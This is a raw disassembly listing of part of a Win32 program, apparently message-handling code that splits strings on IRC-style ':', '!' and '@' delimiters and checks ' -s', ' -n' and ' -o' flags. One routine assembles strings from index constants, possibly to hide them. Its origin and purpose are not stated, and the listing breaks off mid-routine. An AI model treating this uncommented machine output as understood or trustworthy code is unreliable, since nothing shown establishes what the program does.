		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410645
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41062D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41062D:				; CODE XREF: sub_40FE30+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410645:				; CODE XREF: sub_40FE30+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410680
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410684


loc_410680:				; CODE XREF: sub_40FE30+840j
		mov	[esp+20h+var_D], bl


loc_410684:				; CODE XREF: sub_40FE30+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410991
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4106E2
		mov	ecx, eax
		call	sub_402072


loc_4106E2:				; CODE XREF: sub_40FE30+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41070E
		mov	ecx, eax
		call	sub_4010BE


loc_41070E:				; CODE XREF: sub_40FE30+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_41097C


loc_41076F:				; CODE XREF: sub_40FE30+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410797
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410799
; ---------------------------------------------------------------------------


loc_410797:				; CODE XREF: sub_40FE30+95Aj
		xor	esi, esi


loc_410799:				; CODE XREF: sub_40FE30+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4107CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4107CF
; ---------------------------------------------------------------------------


loc_4107CB:				; CODE XREF: sub_40FE30+98Cj
		mov	[esp+20h+var_C], ebx


loc_4107CF:				; CODE XREF: sub_40FE30+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4107F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4107F8
; ---------------------------------------------------------------------------


loc_4107F2:				; CODE XREF: sub_40FE30+9B7j
		mov	[esi+93h], bl


loc_4107F8:				; CODE XREF: sub_40FE30+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410813
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410819
; ---------------------------------------------------------------------------


loc_410813:				; CODE XREF: sub_40FE30+9D8j
		mov	[esi+94h], bl


loc_410819:				; CODE XREF: sub_40FE30+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410834
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41083A
; ---------------------------------------------------------------------------


loc_410834:				; CODE XREF: sub_40FE30+9F9j
		mov	[esi+95h], bl


loc_41083A:				; CODE XREF: sub_40FE30+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410929
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410929:				; CODE XREF: sub_40FE30+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41076F


loc_41097C:				; CODE XREF: sub_40FE30+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410991:				; CODE XREF: sub_40FE30+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410CAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410A0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410A0D
; ---------------------------------------------------------------------------


loc_410A0B:				; CODE XREF: sub_40FE30+BCEj
		xor	esi, esi


loc_410A0D:				; CODE XREF: sub_40FE30+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410A3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410A3E
; ---------------------------------------------------------------------------


loc_410A3C:				; CODE XREF: sub_40FE30+BFFj
		xor	edi, edi


loc_410A3E:				; CODE XREF: sub_40FE30+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A66
; ---------------------------------------------------------------------------


loc_410A60:				; CODE XREF: sub_40FE30+C25j
		mov	[esi+95h], bl


loc_410A66:				; CODE XREF: sub_40FE30+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410A87
; ---------------------------------------------------------------------------


loc_410A81:				; CODE XREF: sub_40FE30+C46j
		mov	[esi+93h], bl


loc_410A87:				; CODE XREF: sub_40FE30+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410AA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410AA8
; ---------------------------------------------------------------------------


loc_410AA2:				; CODE XREF: sub_40FE30+C67j
		mov	[esi+94h], bl


loc_410AA8:				; CODE XREF: sub_40FE30+C70j
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C58 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410C7D
		add	eax, 2
		push	eax
		jmp	short loc_410C82
; ---------------------------------------------------------------------------


loc_410C7D:				; CODE XREF: sub_40FE30+E45j
		push	offset byte_448F30


loc_410C82:				; CODE XREF: sub_40FE30+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410C9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410C9F:				; CODE XREF: sub_40FE30+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410CAB:				; CODE XREF: sub_40FE30+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410E80
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410D72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410D72:				; CODE XREF: sub_40FE30+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4111F7
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410E80:				; CODE XREF: sub_40FE30+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411038
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	loc_411023
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41100F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41100F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410FEB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_410FEB:				; CODE XREF: sub_40FE30+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41100F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41100F:				; CODE XREF: sub_40FE30+1173j
					; sub_40FE30+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411023:				; CODE XREF: sub_40FE30+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_411038:				; CODE XREF: sub_40FE30+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4110BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4110C4


loc_4110BF:				; CODE XREF: sub_40FE30+1238j
		mov	[esp+20h+var_D], 1


loc_4110C4:				; CODE XREF: sub_40FE30+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4111F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4111F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4111F7
; ---------------------------------------------------------------------------


loc_4111F0:				; CODE XREF: sub_40FE30+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4111F7:				; CODE XREF: sub_40FE30+1D3j
					; sub_40FE30+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FE72


loc_411200:				; CODE XREF: sub_40FE30+3Cj
					; sub_40FE30+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FE30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411730	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411748
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411748:				; CODE XREF: sub_411730+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411730	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411760	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411760
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411786
		lea	edi, [esi+11h]
		jmp	short loc_411788
; ---------------------------------------------------------------------------


loc_411786:				; CODE XREF: sub_411760+1Fj
		xor	edi, edi


loc_411788:				; CODE XREF: sub_411760+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411760	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_4117DC
		lea	ebx, [esi+11h]
		jmp	short loc_4117DE
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: ___:004117D5j
		xor	ebx, ebx


loc_4117DE:				; CODE XREF: ___:004117DAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_41183B
		lea	ebx, [esi+11h]
		jmp	short loc_41183D
; ---------------------------------------------------------------------------


loc_41183B:				; CODE XREF: ___:00411834j
		xor	ebx, ebx


loc_41183D:				; CODE XREF: ___:00411839j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411890
		lea	ebx, [esi+11h]
		jmp	short loc_411892
; ---------------------------------------------------------------------------


loc_411890:				; CODE XREF: ___:00411889j
		xor	ebx, ebx


loc_411892:				; CODE XREF: ___:0041188Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_4118E5
		lea	ebx, [esi+11h]
		jmp	short loc_4118E7
; ---------------------------------------------------------------------------


loc_4118E5:				; CODE XREF: ___:004118DEj
		xor	ebx, ebx


loc_4118E7:				; CODE XREF: ___:004118E3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411938
		lea	ebx, [esi+11h]
		jmp	short loc_41193A
; ---------------------------------------------------------------------------


loc_411938:				; CODE XREF: ___:00411931j
		xor	ebx, ebx


loc_41193A:				; CODE XREF: ___:00411936j
		push	0
		push	5
